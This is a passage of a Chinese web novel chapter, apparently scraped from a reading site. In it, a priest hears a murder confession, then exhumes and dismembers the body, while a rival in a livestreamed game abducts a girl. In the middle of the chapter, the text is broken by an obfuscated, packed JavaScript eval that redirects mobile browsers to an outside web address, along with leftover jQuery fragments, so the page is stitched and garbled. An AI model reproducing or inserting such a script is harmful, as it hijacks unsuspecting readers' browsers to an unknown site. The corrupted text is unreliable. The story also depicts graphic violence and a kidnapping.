听到这,席溪心口一动,没有说话。
就算是一个神父,在面对如此沉重的罪孽,也不会马上开口宽慰对方。
男人等了一会儿,没有继续等候他的反应,而是接着往下说:“我真的不想这么做,可他真的太过分了,我没有办法继续容忍。等我反应过来的时候,事情已经发生。我只能眼睁睁地看着他倒在血泊里,痛苦不已。”
“我不能去自首,否则我现在拥有的一切都会完蛋。我懦弱自私没有底线,我知道这一切,却也只能放任下去。”
“我将他的尸体处理掉了,为了弥补我的愧疚,我给他找了个墓地,希望他能在里面安息。”
男人的话到在这里就结束了,整个告解室填满了沉默。
席溪的影子映在细小的格子里,即使在微弱的光线下,都能看出优美的轮廓,宛如天使般圣洁。
男人的眼睛盯着他,像是在看他,又像是在看他的灵魂。
许久,席溪才开口。
“情感是最难以捉摸的东西,让人痛苦、害怕、怀疑自我、崩溃发狂,让人变得奇葩、残忍、言语和行动都失常。”
“我们都想得到回应,得到无私的情谊,可最后你会发现其实它是如此的可怕,会操控我们的人生,会改变理想的轨道。”
“现在,你做出了这个决定,这就是你的代价。你有罪,也将在今后的时光中为了赎罪而日夜难眠。你以为你没有失去,其实你早已一无所有。”
不知道过了多久,男人离开了。
席溪走出告解室,回到了房间里,拿出放置在架子上的地图,细细查看。
轰隆,巨大的雷声在头顶炸裂,电光闪烁,照亮墙壁上的十字架。
夜深了,巨大的黑暗铺下来,在风雨欲来的狂风中,将整个城市笼罩其中。
席溪穿上了黑色的雨衣,悄无声息地融入到这片黑暗中。
他走得不快,却像是个影子一般,潜藏在街头巷尾的阴影中,难以让人察觉。
走了大约一个小时,他才来到了郊区的墓地。这里的墓地没有竖立十字架,大多简易地立一块墓碑,墓前面种上鲜花。
他打着手电,一个个地查看,很快发现了松动过的土壤。
就是这里了。
不过,今天晚上估计是个力气活。
大力手套是一次性的,席溪自然舍不得使用,此时也只能凭借自己的力气,挥起铲子,将里面的土挖开。
男人说得平静,实际上工作却做得很不到位,只要细心去看,很快会发现端倪。唯一好的一点,就是这里埋葬的人大多贫苦无依,发现的事件可能会晚许久。
使出吃奶的劲儿推开灵柩,面朝下躺着一具新鲜的尸体,后心上开了个大洞,血液凝聚在衣服上。
席溪跳进去,将他翻过来。
尸体大约在六十多岁的模样,虽然在混乱中头发有些散乱,但也能看出曾经精心梳理过的发油。头发全黑,看不出一点白色,反而是胡子透出些斑白,估计是头发染过色,以保持年轻的样子。
身穿着价值不菲的羊毛西装,肩部轮廓较为宽阔,腰身收紧。裤子呈直筒状,长度至角落。
很考究的打扮,足以看见对方身价不菲。
男人的下面则是一具已经白骨化的尸体,两相靠在一起,在夜晚显出惊悚。
席溪掂量了一下手中的砍刀,找了个舒服的姿势,高高举起。
闪电照亮天空,刀刃发射出寒光。
咚咚咚!
他找准关节所在的位置,用巧劲将其剥离开来,节省了不少力气。
忙忙碌碌好久,抬头看了眼天空。滴答,冰冷的雨滴落下来,凝固在他脸上的口罩上。
不敢再停留,赶紧收拾好东西,将棺木的盖子盖上,又将土填回去,花朵也一一放好。
哗啦,大雨倾盆而下,不断敲击在地面上,冲刷掉了停留的痕迹,泥土混合着雨水,汇成一条条的河,在墓地里来回流淌。
他裹紧身上的雨衣,又如同影子般,消失在黑夜中。
与此同时,蓝·河也已经开始行动。
出人意料的是,这一次他选择的职业并不是人们推断中的屠夫,而是电车司机。
不过即使是作为电车司机,他选择的人物形象还是偏向孔武有力。好在有那身制服和大胡子的掩饰,再加上坐着的高度,倒是没那么令人害怕。
整个一天,他都像是真正的司机一般,沉默地坐在座位上,按部就班地开车。
比起席溪的有所行动,他的直播间就像是无聊的片段重复一样,很快流量就跌倒了谷底,甚至连一个新人都不如。
他的身份依旧是沉默者,但如此沉默,还是令人不快。
直到晚上,大雨倾盆落下,他才裹着黑色的雨衣,悄然出门。
木制的小公寓,在雨水中显得有些破败不堪,散发着潮乎乎的味道。
他身手敏捷地爬上窗户,无声无息地潜入到房间里。
很幸运,这里没人居住。
蓝·河从阳台翻过去,这一次才终于停下了。伸手去拉窗户,却发现窗户纹丝不动。
看来警惕的小虫子已经提前把窗户锁紧,也不知道是在防范暴风雨,还是防范心怀叵测的人。
不过他们显然还不够警惕,根本不知道这样的锁,并不能挡住袭击者。
一身炸雷响起,蓝·河直接撞碎了玻璃,伸出手扒开插销,跳进了屋里。
躺在床上的女孩已经被惊醒,看着逼近的男人吓呆了,竟是连一声尖叫都发不出来。
此时的她除了瞪大眼睛死死地盯着蓝·河,浑身颤抖如同筛子,没有任何的反应。好似待宰羔羊,面对行凶的刽子手,无力瘫软。
蓝·河满是爱怜地走近她,带着黑皮手套的大手,来回蹂躏着他的她。
“乖孩子。”
他一记手刀,将女孩敲晕,扛在肩膀上,跳入茫茫大雨之中。
天蒙蒙亮,倾泻了一晚的大雨终于停下。乌云散去,露出干净的天空,阳光从云层中透出,打破了夜色的禁锢。世界仿佛被洗净了尘埃,焕发出清新宁静的气息。
席溪从床上起来,雪□□致的面容映照在镜子里,蓝色的眼睛好似上好的宝石,清澈又美丽。
他掏出怀表,看了一眼,时间是七点三十七分。打开窗户,扑面而来的冷气,令人精神一振,原本的疲惫困乏减退不少。
古树上的鸟儿叽叽喳喳地叫着,在大雨之后,更加热烈地欢迎着晴天的到来。
【比分,蓝红,“0:1”.】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068926|148626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
这么快!
席溪挑了挑眉,嘴角扬起一丝笑意。
直播间内,看着砍掉一半的观众,钱塘心急地咬住指甲。其实流量的下跌并不会对席溪产生影响,但是却会对观看的人产生影响。
看着不断刷新的负面评论,他想要为席溪解释,却又不知道该解释什么。如果只是一句空洞的“相信他”,恐怕没有几个人会买账。
“他到底在干什么?我真是完全搞不懂他的脑回路,放着紧迫的任务不去完成,偏偏要去听故事。听故事也就算了,还偏偏要去把一个没用的死人挖出来分尸。他是不是精力太旺盛,无处发泄,所以才会去发疯。”
“确实古怪,原本这件事跟他毫无关系,可他去破坏尸体,很有可能隐藏掉真正的凶手,而暴露自己的痕迹。这是非常不理智的行为,目前我也看不透。但现在只是第一天,还是不要下这么早的结论为好。”
“也许他是起了善心,想要帮助一个迷途的羔羊。在告解室里可以听出,虽然男人极力镇定,可还是暴露出内心的不安与恐慌。或许是出于可怜,他才费点力气帮他遮掩。毕竟他只是个过客,只要在游戏结束之前没有被发现,就可以高枕无忧。而男人,在这个世界场景设定中,则可以安然脱身。”
“那他还真是闲得发慌!要知道这场比赛不仅有普通线,还有他与蓝·河的对抗线。蓝·河已经率先取得一分,他却连任务的头绪都没有,实在令人担忧。”
在祷告之后,席溪询问了修女关于小女孩丽沙的情况。
修女索菲亚表示,已经通知过他的父母了,可到现在也没有见人来。
索菲亚对丽莎父母的观感很不好:“那绝对不是一对富有责任心的父母,他们的家里乱成一遭,孩子们的衣服没有穿戴整齐,学校也不去上,饭菜撒得到处都是。我跟他们说了好几遍,可他们就像是听不见一样漠不关心,只会在那里对孩子大吼大叫。天啊,那一切简直糟透了!”
“虽然丽莎的母亲特丽雅是个虔诚的教徒,但他的丈夫可不是!两个人的结合就像是前往不同方向的马车,根本无法闭合。他的丈夫傲慢又自大,看向我的目光就像是魔鬼的眼瞳,一点都不友好。说真的,我甚至觉得不适合将丽莎送回去。就算是送回去,估计也会像之前那样跑出来。这样年纪的女孩在外面乱跑,可是非常危险的事。”
面对索菲亚的喋喋不休,席溪耐心地听完。
“丽莎,我想,我有必要去你家拜访一趟。”
虽然没有得到邀请,但丽莎的母亲特丽雅是教徒,那就方便多了。
丽莎棕色的眼珠转了转,小嘴嘟囔了两句含糊的话语,却还是乖巧地点了点头。她看向席溪的目光,充满了难以言说的期待,甚至还有些兴奋的跃跃欲试。
席溪看出了端倪,笑意加深了些许:还真是个孩子啊。
他将手放在丽莎的头顶,轻轻地说:“愿主保佑你。”
索菲亚牵着丽莎的手正准备离开,却见丽莎扯了扯她的袖子,小声提醒:“信。”
她这才想起来,差点忘了件最重要的事:“对了,奥兰德先生送来了一份邀请函,希望您能抽空于明天参加他举行的晚会。他是个非常虔诚的教徒,一直致力于慈善事业,教会的不少善款都是他帮忙筹集的。”